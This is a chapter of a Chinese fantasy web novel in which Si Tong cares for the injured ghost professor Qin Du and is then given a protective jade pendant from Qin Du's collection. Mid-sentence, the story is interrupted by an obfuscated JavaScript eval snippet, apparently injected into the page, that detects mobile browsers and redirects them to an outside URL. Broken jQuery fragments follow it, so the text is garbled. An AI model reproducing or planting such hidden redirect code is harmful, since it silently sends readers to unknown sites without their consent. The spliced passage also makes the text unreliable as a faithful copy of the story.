普通的鬼一般人是看不见的,秦渡强大到能像个正常人一样在人群中生活。
或许她的脉搏也有什么别的讲究?就像她像人类一样的呼吸。
司瞳揣测不出真相。
俗话说“医道不分家”,司瞳从上一世修炼道法起就粗略通一些医术,她的手指一直按在秦渡手腕上,感受着她血脉中横冲直撞的灵力在缓慢地平复。
她在自己给自己疗伤,用灵力一点点捋顺体内紊乱的真气。
司瞳盯着她苍白的脸看了会儿,片刻后低声问:“秦教授,好些吗?”
紧闭的双眼缓缓睁开,漆黑的眸子在她脸上转了圈,秦渡颔首:“无妨,小伤而已。”
她未收回手腕,任由司瞳在手腕上多按了会儿,待她手指的温度离开后才将手缩回袖中。
“怎么会受伤呢?昨天……”司瞳突然想到昨天从异事局回来后,秦渡脚步匆匆离开的背影,那个时候就受伤了?可是昨天她们不是在异事局么?
“昨天见摄青鬼时遇到什么事了吗?”
秦渡纤长的眼睫垂了垂,默不作声。
倒是黑猫忍不住开口:“受伤都已经……”
“乌玄!”秦渡截住她的话,眼神警告:“休要多话。”
黑猫呲了下牙,忍了半天把话咽回去,背过身拿屁股对着她,生起了闷气。
司瞳则很有身为外人的觉悟,受伤本就是很私密的事,自己今日无非是误打误撞才来了秦渡家里,说白了除了上下级的关系之外她们本就没有额外的交情,人家不想让自己知道太正常了。
确实是这只叫做乌玄的小猫太过莽撞。
她在心里下了这个结论。
若是让乌玄知道她这想法,定是要气急败坏给她两爪子。
紊乱的真气很快就被压制下去,秦渡低头看看自己被血污染的衣服,无奈道:“又要洗了。”
虽然可以施个除尘咒了事,但一大滩血迹渗透衣襟,还是清洗一下更为妥当。
她起身的速度太快,司瞳没反应过来,下意识扶了她一把。
双手托住她的左臂,二人的肢体在此刻又有了新的接触,因这一完全出自本能的举动,司瞳露出一瞬迷惘。
秦渡的目光停在她的手上,司瞳见她盯着自己的手看,以为她是不喜和生人过多接触,忙局促地收回手,找话题客套说:“……秦教授还是要多休息。”
秦渡抬起眼眸看向她,司瞳的眼眸是温润的琥珀色,像被碾碎成粉末的阳光洒进了她眼底,望着别人时也能温暖进心里。
被她这样的眼神注视着,鬼使神差的,秦渡居然生出想要在她面前装可怜的心思。她不仅想了,甚至还做了,往前迈一小步竟显得摇摇欲坠,好似羸弱到不堪一击。
司瞳再次下意识扶住她,低低唤了她一声:“秦教授!”
乌玄闻声诧异回头看过来,见她突然一副柔弱不能自理的样子,顿时瞪大一双绿眼睛,猫眼滴溜溜转,满眼不可思议。
“劳烦司同学扶我回房间。”秦渡开口,嗓音暗哑虚弱。
司瞳怎么也没想到事情有这个发展,她原地愣了两秒,最后竟说不出拒绝的话,不受控制地迈开腿,扶着秦渡往主屋走。
乌玄转身跳下沙发,眼看着秦渡一手背在身后,冲自己晃了晃。
她小猫咪今日的语言就是无语。
其实才迈出书房的门秦渡就后悔了,主要是她装病司瞳扶着她,两人这个姿势怎么看怎么像年轻女生搀了个老奶奶,半点儿没有她想要的效果。她这头脑一热的装病不过是不想司瞳的手从自己胳膊上松开,没接触过时还好,今日接触过后她藏在心底的贪婪像雨后春笋般滋长,势如破竹地侵占了她的理智。
等司瞳陪她进了卧室,秦渡依然沉浸在懊恼之中,今日的行为太过离谱,以后不可再这般。
她薄唇抿成一条线,独自在心里反省自己的行为,可这副表情落在司瞳眼中就成了伤痛再次发作的隐忍,此刻顾不上要跟大反派避嫌,她那颗柔软的心立刻像是被攥紧,紧张地问:“是不是很难受?”
秦渡看见她关切的样子,一时心情复杂,最后竟没反应过来该回应什么,只是抿着唇在她搀扶下靠坐在床上。
“我去给你倒杯水。”
主屋由客厅、主卧、卫浴室和厨房组成,出了卧室就是客厅,司瞳从摆放整齐的茶具中挑了只干净茶杯,倒上热水端进卧室。
秦渡靠坐在床上,一手揉着眉心,看上去很不舒服的样子。
司瞳把水放在床头柜上,低声问:“秦教授要不要睡一觉?我看你好像很难受。”
正在为自己幼稚举动感到懊恼的秦渡:“……”
司瞳:“我再替你把一下脉好么?”
秦渡看清她眼中真实的关切,知道她是真的把自己当一个重伤的人在关心,心里顿时五味杂陈。
好消息:她从未变过。
坏消息:这份关心与对待她人无异。
收在袖子里的手指捏紧,秦渡望着她琥珀色的眼眸怔怔出神。
等了一会儿没等到回应,司瞳小心翼翼唤她一声:“秦教授?”
秦渡低低“嗯”了声,两只手都缩回了袖子里,道:“没事,我休息一会儿就好。”
被拒绝了,司瞳再次想起自己是个外人,连带着想起一直谨记着要跟眼前人保持距离的事。
“那秦教授好好休息。”司瞳冲她笑了下,目光不经意落在她沾了血迹的衣襟。
秦渡捕捉到她的视线,抬手挡了挡,说:“我待会儿换身衣服。”
她这样说了,司瞳直觉自己不该再留在屋内,便开口告辞:“那……我就先回去了。”
秦渡出声止住她后退的脚步:“等会儿,我让乌玄带你去拿一样东西。”
没想到还有这一茬,司瞳愣了愣,以为她是有什么东西需要自己带回考古司,立刻在心里盘算起时间,现在才下午两点,再回去一趟也不算晚。
像心照不宣,黑猫乌玄出现在卧室门口,先瞥了眼床上的“虚弱”人影,然后才招呼司瞳:“跟我来。”
司瞳觉得小猫刚才好像翻了个白眼,看着秦渡的眼神透着难以掩饰的鄙视。
应该是看错了吧?
司瞳跟着乌玄离开卧室,秦渡松了口气的同时迅速翻身下床,挥手关上房门,从衣柜中找出新的衣服换上。
主卧外,一人一猫先后离开主屋,司瞳本以为是要去东厢的书房取东西,却没想到被带去了后院。
秦渡的四合院很大,二进之后还有三进,三进的面积只比二进小一点,整个后院除了客房便是仓库,院中开垦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15924431|177122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出的地空着,不像正院种了许多植物,倒显得荒凉了。
司瞳跟在乌玄身后走进一间屋子,惊讶地发现这里是秦渡的收藏室,三十平大小的屋子里摆满了各种各样的古玩字画,它们按照种类和年代分门别类摆放整齐,甚至还特意制作了标签。
司瞳越看越震撼地合不拢嘴,这间收藏室里的东西什么年代的都有,有一两件甚至追溯至夏商时期。而且以她考古专业的知识来看,这些东西不仅是真的,甚至保存十分完好,绝不是后世才出土的文物……
目光一一自这些藏品身上掠过,司瞳仿佛通过它们看到了主人穿越几千年历史的身影,这是无比漫长且看不见尽头的一生。
秦渡到底活了多久?
“这些,都是秦教授收藏的?”司瞳忍不住问乌玄。
乌玄停在一个木制柜子前,闻声回头看了眼,道:“是,都是别人送的。”
“……”
司瞳难掩惊讶,盯着眼前架子上一个标签为千年前大唐盛世时的古玩看了又看。
乌玄低头舔舔爪子,说:“放心,我们肯定不是做假货的骗子。”
司瞳:“……”
她摇摇头,说:“我不是怀疑真伪,只是……觉得震撼。”
乌玄的绿眼睛盯着她,似乎不解:“你不是加入异事局了吗?活得久了点这种事也没什么不好理解的吧。”
不就是活得久了点,乌玄不觉得有什么稀奇的。
但这不是“久一点”的问题,看这些藏品的年代,秦渡的生命似乎贯穿了整个有史书记载的历史长河,这还不足够震撼么?
换句话说,秦渡这个人简直就是最值得历史学家研究的古董本身!
乌玄不理解,也懒得去想人类的心思,她停在乌木柜子前,抬爪拍了拍柜门:“打开它。”
司瞳不犹豫,连忙上前拉开乌木柜的门,她先入为主,觉得这收藏室内都是古玩字画,被秦渡收进柜子里的肯定也是,也许是更值钱一些的,比如某些历史名人所遗留的物品。
她没想到,柜门打开后差点儿闪瞎她的眼,里面满满当当装着的并非价值连城的古玩字画,而是装着各种各样、灵气充沛到快要爆炸的法器。
乌玄似乎十分嫌弃她这副没见过世面的样子,越过她跳进柜子里,她一只猫窜上去,柜子轻微晃动,司瞳跟着心尖颤抖。
“这个,你拿走。”乌玄前爪从柜子里一勾,勾出一枚淡雅清透的玉佩,玉佩上雕刻的纹饰是展翅的巨鸟,看形态像是凤凰一类,栩栩如生。
司瞳伸手接过玉佩,蓦地心脏狂跳,心率快速飙升,她抬手按住胀痛的心口,一种莫名的感觉自身体内诞生,一时间难以真正抓住。
“这……给我的?”
乌玄:“不然呢?如今外面不太平,老秦让我给你防身的。”
司瞳张张口,讷讷地说不出话。她是想拒绝的,如此贵重的东西她怎么能平白接收?可不知为何,她就是说不出拒绝的话,一时间握着玉佩愣在原地,进退两难。
乌玄看出她纠结,直接跳下柜子,昂着脑袋说:“你既然进了异事局,也该知道现在隐藏在暗处的危险极大,之前连老秦都受了伤,过两日你还要跟她一起去除魔,此物算是她给下属防身所用,你拿着吧,大家都有命活着回来才是重要的。”